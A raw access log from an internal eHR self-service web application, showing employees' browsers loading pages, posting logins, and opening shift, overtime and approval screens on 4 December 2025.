"http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.55 - - [04/Dec/2025:08:16:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.55 - - [04/Dec/2025:08:16:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.40.34 - - [04/Dec/2025:08:23:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [04/Dec/2025:08:23:08 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:08 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:08:23:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [04/Dec/2025:08:23:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.40.34 - - [04/Dec/2025:08:23:26 +0800] "GET /eHR/img/first.png HTTP/1.1" 200 2892 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA007&appdesc=%E6%88%91%E7%9A%84%E6%8E%92%E7%8F%AD" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:26 +0800] "GET /eHR/img/first.png HTTP/1.1" 200 2892 192.168.40.34 - - [04/Dec/2025:08:23:26 +0800] "GET /eHR/img/next.png HTTP/1.1" 200 2919 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA007&appdesc=%E6%88%91%E7%9A%84%E6%8E%92%E7%8F%AD" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:26 +0800] "GET /eHR/img/next.png HTTP/1.1" 200 2919 192.168.40.34 - - [04/Dec/2025:08:23:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA007&appdesc=%E6%88%91%E7%9A%84%E6%8E%92%E7%8F%AD HTTP/1.1" 200 17685 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA007&appdesc=%E6%88%91%E7%9A%84%E6%8E%92%E7%8F%AD HTTP/1.1" 200 17685 192.168.40.34 - - [04/Dec/2025:08:23:26 +0800] "GET /eHR/img/last.png HTTP/1.1" 200 2928 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA007&appdesc=%E6%88%91%E7%9A%84%E6%8E%92%E7%8F%AD" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:26 +0800] "GET /eHR/img/last.png HTTP/1.1" 200 2928 192.168.40.34 - - [04/Dec/2025:08:23:26 +0800] "GET /eHR/img/previous.png HTTP/1.1" 200 2894 192.168.40.34 - - [04/Dec/2025:08:23:26 +0800] "GET /eHR/img/previous.png HTTP/1.1" 200 2894 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA007&appdesc=%E6%88%91%E7%9A%84%E6%8E%92%E7%8F%AD" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA007&appdesc=%E6%88%91%E7%9A%84%E6%8E%92%E7%8F%AD HTTP/1.1" 200 17685 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA007&appdesc=%E6%88%91%E7%9A%84%E6%8E%92%E7%8F%AD HTTP/1.1" 200 17685 192.168.40.34 - - [04/Dec/2025:08:23:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA010&appdesc=%E6%88%91%E7%9A%84%E5%8A%A0%E7%8F%AD HTTP/1.1" 200 19115 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA010&appdesc=%E6%88%91%E7%9A%84%E5%8A%A0%E7%8F%AD HTTP/1.1" 200 19115 192.168.40.34 - - [04/Dec/2025:08:23:32 +0800] "GET /eHR/libs/library/GridView/gridview.css HTTP/1.1" 200 723 192.168.40.34 - - [04/Dec/2025:08:23:32 +0800] "GET /eHR/libs/library/GridView/gridview.css HTTP/1.1" 200 723 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA010&appdesc=%E6%88%91%E7%9A%84%E5%8A%A0%E7%8F%AD" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:32 +0800] "GET /eHR/libs/library/GridView/GridView.js HTTP/1.1" 200 1473 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA010&appdesc=%E6%88%91%E7%9A%84%E5%8A%A0%E7%8F%AD" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:23:32 +0800] "GET /eHR/libs/library/GridView/GridView.js HTTP/1.1" 200 1473 192.168.40.34 - - [04/Dec/2025:08:24:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA007&appdesc=%E6%88%91%E7%9A%84%E6%8E%92%E7%8F%AD HTTP/1.1" 200 17685 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:24:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA007&appdesc=%E6%88%91%E7%9A%84%E6%8E%92%E7%8F%AD HTTP/1.1" 200 17685 192.168.40.34 - - [04/Dec/2025:08:24:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA001&appdesc=%E5%9F%BA%E6%9C%AC%E8%B5%84%E6%96%99 HTTP/1.1" 200 10310 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:24:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA001&appdesc=%E5%9F%BA%E6%9C%AC%E8%B5%84%E6%96%99 HTTP/1.1" 200 10310 192.168.12.69 - - [04/Dec/2025:08:28:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [04/Dec/2025:08:28:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.69 - - [04/Dec/2025:08:28:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [04/Dec/2025:08:28:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [04/Dec/2025:08:31:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:08:31:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [04/Dec/2025:08:31:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:08:31:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:08:31:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:08:31:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [04/Dec/2025:08:31:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:08:31:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.11.108 - - [04/Dec/2025:08:32:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 58871 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:08:32:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 58871 192.168.11.55 - - [04/Dec/2025:08:41:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.55 - - [04/Dec/2025:08:41:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:41:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:41:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.55 - - [04/Dec/2025:08:41:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:41:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.55 - - [04/Dec/2025:08:41:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:41:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.55 - - [04/Dec/2025:08:41:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:41:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.55 - - [04/Dec/2025:08:41:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:41:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 100.64.0.1 - - [04/Dec/2025:08:41:26 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [04/Dec/2025:08:41:26 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [04/Dec/2025:08:41:27 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [04/Dec/2025:08:41:27 +0800] "\x16\x03\x01" 501 205 192.168.11.55 - - [04/Dec/2025:08:41:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9354281475689208 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:41:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9354281475689208 HTTP/1.1" 200 8736 192.168.11.55 - - [04/Dec/2025:08:41:43 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9354281475689208 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9354281475689208" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:41:43 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9354281475689208 HTTP/1.1" 200 14154 192.168.11.55 - - [04/Dec/2025:08:41:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:41:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 192.168.11.135 - - [04/Dec/2025:08:41:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:41:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [04/Dec/2025:08:41:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:41:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.55 - - [04/Dec/2025:08:41:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:41:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [04/Dec/2025:08:41:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3642 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:41:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3642 192.168.11.55 - - [04/Dec/2025:08:41:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:41:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [04/Dec/2025:08:42:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:42:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [04/Dec/2025:08:42:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:42:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [04/Dec/2025:08:42:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:42:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [04/Dec/2025:08:42:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:42:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [04/Dec/2025:08:42:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9906750710960761 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:42:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9906750710960761 HTTP/1.1" 200 8736 192.168.11.55 - - [04/Dec/2025:08:42:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9906750710960761 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9906750710960761" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:42:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9906750710960761 HTTP/1.1" 200 14154 192.168.11.55 - - [04/Dec/2025:08:42:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 